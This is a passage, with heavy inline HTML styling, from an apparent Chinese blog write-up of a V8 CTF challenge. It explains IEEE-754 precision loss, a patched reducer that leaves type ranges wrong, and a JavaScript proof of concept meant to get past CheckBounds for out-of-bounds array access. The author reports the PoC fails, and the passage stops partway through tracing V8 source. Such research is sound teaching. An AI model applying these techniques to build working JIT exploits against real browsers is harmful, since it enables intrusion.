inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>fraction = <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>^<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">-0</span> + bit51*<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>^<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">-1</span> + .... bit0*<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>^<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">-52</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">/<span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">***</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">*  </span>关于bias<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">*  </span>参考<a href="https://yamm.finance/wiki/Exponent_bias.html" target="_blank">https://yamm.finance/wiki/Exponent_bias.html</a><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">*  </span>For </span>a<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> single-precision number, </span>an<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> exponent in </span>the<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> range −126 .. +127 is biased by adding 127 to exponent to get </span>a<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> value in </span>the<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> range 1 .. 254 (0 and 255 have special meanings).<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">*  </span>For </span>a<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> double-precision number, </span>an<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> exponent in </span>the<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> range −1022 .. +1023 is biased by adding 1023 to exponent to get </span>a<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> value in </span>the<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> range 1 .. 2046 (0 and 2047 have special meanings).<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">*  </span>For </span>a<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> quad-precision number, </span>an<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> exponent in </span>the<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> range −16382 .. +16383 is biased by adding 16383 to exponent to get </span>a<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> value in </span>the<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> range 1 .. 32766 (0 and 32767 have special meanings).<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;font-weight: bold;overflow-wrap: inherit !important;word-break: inherit !important;">*****</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">***</span>/</span></span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">遵循公式分别计算一下MAX_SAFE_INTEGER，+1，+2，三个数值的内存如下</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;">d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> %DumpObjects(Number.MAX_SAFE_INTEGER, 10)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>----- [ HEAP_NUMBER_TYPE : 0x10 ] -----<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>0x00000b8fffc0ddd0    0x00001f5c50100559    MAP_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>0x00000b8fffc0ddd8    0x433fffffffffffff    // e=1075<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;"><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> %DumpObjects(Number.MAX_SAFE_INTEGER + 1, 10)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>----- [ HEAP_NUMBER_TYPE : 0x10 ] -----<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>0x00000b8fffc0aec0    0x00001f5c50100559    MAP_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>0x00000b8fffc0aec8    0x4340000000000000    // e=1076<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span><span style="font-size: inherit;line-height: inherit;color: rgb(97, 174, 238);overflow-wrap: inherit !important;word-break: inherit !important;"><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>d8&gt;</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"> %DumpObjects(Number.MAX_SAFE_INTEGER + 2, 10)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>----- [ HEAP_NUMBER_TYPE : 0x10 ] -----<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>0x00000b8fffc0de88    0x00001f5c50100559    MAP_TYPE    <br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>0x00000b8fffc0de90    0x4340000000000001        // e=1076<br/></code></pre><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.18801652892561985" title="" data-type="png" data-w="968" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=68fbbe27&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcPF00P2t8Lq2ZSeSMNCGnT2HcySDGSHtKe08xGf6PPwfYDbVLLibq1Gg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">最后计算value，可以使用网站<span style="color: rgb(62, 62, 62);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">(见参考3</span><span style="color: rgb(62, 62, 62);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">, 4</span><span style="color: rgb(62, 62, 62);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">, 5</span><span style="color: rgb(62, 62, 62);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">)</span>计算如下算式<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.22860125260960334" title="" data-type="png" data-w="958" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=f8398bf5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcw9F35y3qB9YQkq6CBeu4DAIheScIVZ9lEGiciap5sbPlUb67j34XWUlQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">综上，IEEE-754编码存在精度丢失问题，不能表示<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">9007199254740993</code>等，所以存在本节开始的d8 shell中执行的问题。</p><h3 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.3em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">题目漏洞</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">那么结合题目中给出的补丁，会存在如下图示bug<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.33124346917450365" title="" data-type="png" data-w="957" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=51e85af4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcXG6vYGMXHJYbkB1xQnvNy2lt8GmTvSibw07gPjJYYoDoGlCNr7jwTQA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">另外，新增的reducer不会更新改变的node的type，导致change后的node的type range仍为之前typer phase计算的(9007199254740992,9007199254740992)，而非reducer后导致的node的range实际为(9007199254740994,9007199254740994)。</p><h2 style="line-height: inherit;margin-top: 1.5em;font-weight: bold;font-size: 1.4em;margin-bottom: 2em;margin-right: 5px;padding: 4px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;">从失败的POC分析V8源码</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">Add计算的结果9007199254740994比typer phase计算的range的最大值9007199254740992要大，下面的问题是怎么利用这个bug消除掉CheckBounds的检查？<br/>可以通过typer phase计算的range和数组的length比较，恒为真来消除CheckBounds结点。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">这一块踩了很多的坑，因为开始不了解V8里对象的内存存储结构，比如<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">in-line</code> <code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">out-of-line</code> <code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">descriptor</code>等，也不了解v8的优化规则，后续也是查阅了很多资料，才勉强构造出类似如下的，但还是失败的poc，透过分析这个失败的poc的原因，笔者记录一下&#34;被迫&#34;调试分析一波v8源码的过程</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> opt_me = <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">x</span>) =&gt;</span> {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> arr = <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">new</span> <span style="font-size: inherit;line-height: inherit;color: rgb(230, 192, 123);overflow-wrap: inherit !important;word-break: inherit !important;">Array</span>(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.1</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1.2</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> y = ( x==<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span> ) ? <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">9007199254740992</span> : <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">9007199254740991</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>  y = y + <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span> + <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>；<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span>  y = y - <span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">9007199254740991</span>; <span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// max=1, actual max=3</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> arr[y];<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>opt_me(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>%OptimizeFunctionOnNextCall(opt_me);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span><span style="font-size: inherit;line-height: inherit;color: rgb(198, 120, 221);overflow-wrap: inherit !important;word-break: inherit !important;">let</span> res = opt_me(<span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>print(res);<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">构造如上代码，开始笔者的想法是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">typer phase</code>阶段计算出行5 <code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">y</code>的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">range(1,1)</code>，所以可以优化掉<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">checkbounds</code>，而因为<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">typer lowering</code>阶段引入的bug导致<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">y</code>实际是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">range(2,3)</code>从而导致越界。<br/>但实际执行最后print的结构都是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">1.2</code>：(<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.259105098855359" title="" data-type="png" data-w="1922" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=69a1e725&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPN9BsRluJ6dA0iadC5QV8oVzcvPf4moJ1eaLiakZY34YhR7Y2VkurUw17zO2sbZVwo0HGvdK5bgKRdDg%2F640%3Fwx_fmt%3Dpng"/></figure><h4 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">（1）JIT入口代码浅析</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">最先引起我怀疑的是并没有执行到DuplicateAdditionReducer裁剪器。补丁中优化器的添加位置在src/compiler/pipeline.cc的1324行，位于<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">struct TypedLoweringPhase{}</code>中，由1981行的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">bool PipelineImpl::CreateGraph(){}</code>调用。在整个CreateGraph函数中，会运行v8的多种phase</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;color: rgb(152, 195, 121);overflow-wrap: inherit !important;word-break: inherit !important;">GraphBuilderPhase</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">2</span>InliningPhase<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">3</span>EarlyGraphTrimmingPhase<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">4</span>TyperPhase<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">5</span>ConcurrentOptimizationPrepPhase<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">6</span>CopyMetadataForConcurrentCompilePhase<br/><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">7</span>TypedLoweringPhase<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">继续向上梳理数据流，找到调用位置在880行</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">1</span>PipelineCompilationJob::Status PipelineCompilationJob::PrepareJobImpl(Isolate* isolate)<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">继续向上src/compiler.cc</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 12px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;color: rgb(171, 178, 191);background: rgb(40, 44, 52);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(209, 154, 102);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;color: rgb(92, 99, 112);font-style: italic;overflow-wrap: inherit !important;word-break: inherit 